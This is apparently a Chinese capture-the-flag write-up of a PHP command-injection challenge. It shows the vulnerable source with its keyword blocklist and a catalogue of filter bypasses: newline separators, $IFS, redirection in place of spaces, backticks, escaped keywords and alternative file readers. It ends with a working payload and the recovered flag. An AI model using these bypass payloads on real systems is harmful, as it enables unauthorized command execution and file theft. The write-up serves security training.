源碼:
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
先把過濾的語句列出來(不區分大小寫):
; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `(反引號) % %09 %26
這里被過濾的也要學習一下,因為有些也是可以拿來讀取文件的命令
查看目錄文件的命令還能用,分號被過濾,這里有點像sql注入,替換成%0a(換行符),命令不能多行輸入
?c=ls%0A
拓展思考(以下語句可能需要PHP環境及linux系統)
1.cat讀取符被過濾了咋辦,替換成其他的,tac和cat類似,nl也可以讀取內容,但會多顯示行數
2.空格被過濾,可以使用<>繞過,或者在url中使用%09(Tab),%20(space)進行繞過
分號被過濾,使用%0a繞過
如果<>也被過濾,可以使用$IFS,這是在shell中定義的環境變量用於內部字段分隔符,舉例:
?c=nl${IFS}fla\g.php%0a
如果過濾的很簡單,通配符反引號(`)就夠用了:
?c=cat`flag.php`;
3.flag關鍵字被過濾
常用通配符,進行匹配文件
匹配任何字符串/文本,包括空字符串;
*代表任意字符(0個或多個) ls file *
? 匹配任何一個字符(不在括號內時)?代表任意1個字符 ls file 0
[abcd] 匹配abcd中任何一個字符
[a-z] 表示范圍a到z,表示范圍的意思 []匹配中括號中任意一個字符 ls file 0
比如新建一個k2文件
4.常見讀取命令都被過濾
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容
做到這樣的話已經很絕了,但是我們能根據flag的特性進行繞過
grep test *file #在當前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,並打印出該字符串的行
grep '{' flag.php,自由搭配其他語句達成繞過
5.命令不回顯
>/dev/null 2>&1不進行回顯
使用命令分隔
; //分號
| //只執行后面那條命令
|| //只執行前面那條命令
& //兩條命令都會執行
&& //兩條命令都會執行
cat flag.php||
回到原題,使用payload:
?c=tac<>fla\g.php%0A
得到
$flag="flag{bed1dcd5-5b0c-4ccd-b9b6-3d2937cc5127}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
還有尖括號在linux表示傳遞的意思,不寫右尖括號也可以
>` `<` `<>` 為重定向符
但是不能定位錯輸出的語句